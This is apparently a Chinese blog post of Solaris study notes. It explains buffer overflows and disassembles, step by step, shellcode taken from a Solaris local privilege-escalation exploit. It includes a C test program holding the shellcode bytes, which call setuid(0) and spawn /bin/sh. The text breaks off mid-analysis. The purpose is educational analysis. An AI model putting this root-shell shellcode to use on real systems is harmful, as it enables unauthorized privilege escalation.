【 tulaoshi.com - Linux 】
Solaris学习笔记(2)
作者: BadcoffeeEmail: blog.oliver@gmail.comBlog: http://blog.csdn.net/yayong2005年7月1. 一段shell code的分析最近新发现的一个Solaris的安全漏洞可以使一个非特权用户利用一个很简单的攻击程序得到系统的root权限,为了不让用Solaris系统的人遭暗算,具体细节就不说了。毕竟这篇文章不是教别人攻击别人系统的黑客教程:)这里只研究攻击程序里面的一段shell code。问题:什么是shell code?要了解shell code,先从缓冲区溢出谈起。缓冲区溢出是黑客比较常用的攻击手段之一。众所周知,如果向一个有限空间的缓冲区拷贝了过长的字符串,就会覆盖相邻的存储单元。进程的局部变量保存在 stack当中的,一个函数的stack frame相邻的就是调用该函数时保存的返回地址。当发生缓冲区溢出并且覆盖到存储在stack中的函数反回地址,那么当函数执行完毕后就无法正常返回。因为这时返回地址往往是一个无效的地址,在这样的情况下系统一般报告: “core dump”或“segment fault”。如果这种缓冲区溢出经过精心的计算,使得溢出后覆盖到返回地址的那个地址指向我们写的一段机器指令序列,那么这个进程的流程就会被改变,从而由我们来控制。多数情况下,这段精心设计的指令一般的目的是执行“/bin/sh”,从而得到一个shell,因此这段代码被称为:“shell code”。如果被溢出程序是一个suid root程序,得到的将是一个root shell,这样整个机器就因为缓冲区溢出而被完全控制了。关于缓冲区溢出,aleph one的Smashing The Stack For Fun And Profit做入门教程不错,可以看看。为方便分析,我们把这段shell code单独拿出来,放到一个非常简单的c程序里研究。
下面是test1.c的源代码: static char sh[] = "x31xc0xebx09x5ax89x42x01x88x42x06xebx0dxe8xf2xffxffxffx9ax01x01x01x01x07x01xc3x50xb0x17xe8xf0xffxffxffx31xc0x68x2fx73x68x5fx68x2fx62x69x6ex88x44x24x07x89xe3x50x53x8dx0cx24x8dx54x24x04x52x51x53xb0x0bxe8xcbxffxffxff";int main() {void (*f)();f = (void*)sh;f();return 0;}这里用函数指针指向字符数组sh,sh包含了整段shell code。main函数中通过对一个指向sh的函数指针的调用,从而使shell code得到执行。可以看到,程序运行后,当前的shell由bash变为了sh:bash-3.00# gcc test1.c -o test1bash-3.00# ./test1# <--- 提示符改变,说明/bin/sh已经被运行,shell code执行成功下面我们就反汇编分析这段代码。由于这段shell code在数据段,且不是一个函数定义,因此用mdb反汇编比用dis更直观一些:# mdb ./test1> main::dismain: pushl %ebpmain+1: movl %esp,%ebp ---> 建立main函数的Stack Frame main+3: subl x8,%espmain+6: andl xfffffff0,%espmain+9: movl x0,%eaxmain+0xe: addl xf,%eaxmain+0x11: addl xf,%eaxmain+0x14: shrl x4,%eaxmain+0x17: shll x4,%eaxmain+0x1a: subl %eax,%esp ---> main+3至main+0x1a的作用使main函数的栈对齐main+0x1c: movl x8060a40,-0x4(%ebp) ---> 把数据段的sh的地址赋值给函数指针 main+0x23: movl -0x4(%ebp),%eaxmain+0x26: call *%eax ---> 调用shell codemain+0x28: movl x0,%eaxmain+0x2d: leavemain+0x2e: ret> 0x8060a40=p ---> 将地址转换为符号 test1`sh ---> 可以看到,该地址就是sh的起始地址> sh,1a/aitest1`sh:test1`sh: xorl %eax,%eaxtest1`sh+2: jmp +0xb ---> 1. 向前跳转到地址test1`sh+0xdtest1`sh+4: popl %edx ---> 3. 将lcall指令的地址从栈中弹出到edxtest1`sh+5: movl %eax,0x1(%edx)test1`sh+8: movb %al,0x6(%edx) ---> 4. test1`sh+5和test1`sh+8将会把lcall指令修改成Solaris的标准的系统调用指令lcall x7,x0test1`sh+0xb: jmp +0xf ---> 5. 向前跳转到地址test1`sh+0x1atest1`sh+0xd: call -0x9 ---> 2. 向后调用到地址test1`sh+4指令,同时下条指令lcall的地址test1`sh+0x12将作为返回地址压栈test1`sh+0x12: lcall x107,x1010101 ---> 9. 步骤4中已经将lcall指令修改为lcall x7,x0,新的lcall的作用是通过调用门进入Solaris内核执行系统调用test1`sh+0x19: ret ---> 10.从setuid系统调用返回后,再执行返回指令会使xorl指令地址test1`sh+0x22从栈中弹出到eip中,使cpu从xorl处执行test1`sh+0x1a: pushl %eax ---> 6. 此时eax寄存器的值是0,将0压栈是为构造setuid调用的入口参数,并且其值为0,即root的idtest1`sh+0x1b: movb x17,%al ---> 7. 把setuid的系统调用号0x17放入到eax,是Solaris系统调用的要求test1`sh+0x1d: call -0xb ---> 8. 向后调用地址test1`sh+0x12指令,此时lcall指令已经被修改了(见步骤4),同时将下条xorl指令的地址test1`sh+0x22压栈test1`sh+0x22: xorl %eax,%eax ---> 11.用xorl指令来给eax寄存器内容清零,常见的快速清零指令test1`sh+0x24: pushl x5f68732ftest1`sh+0x29: pushl x6e69622f ---> 12.test1`sh+0x24和test1`sh+0x29将8个字符"/bin/sh_"压入栈中test1`sh+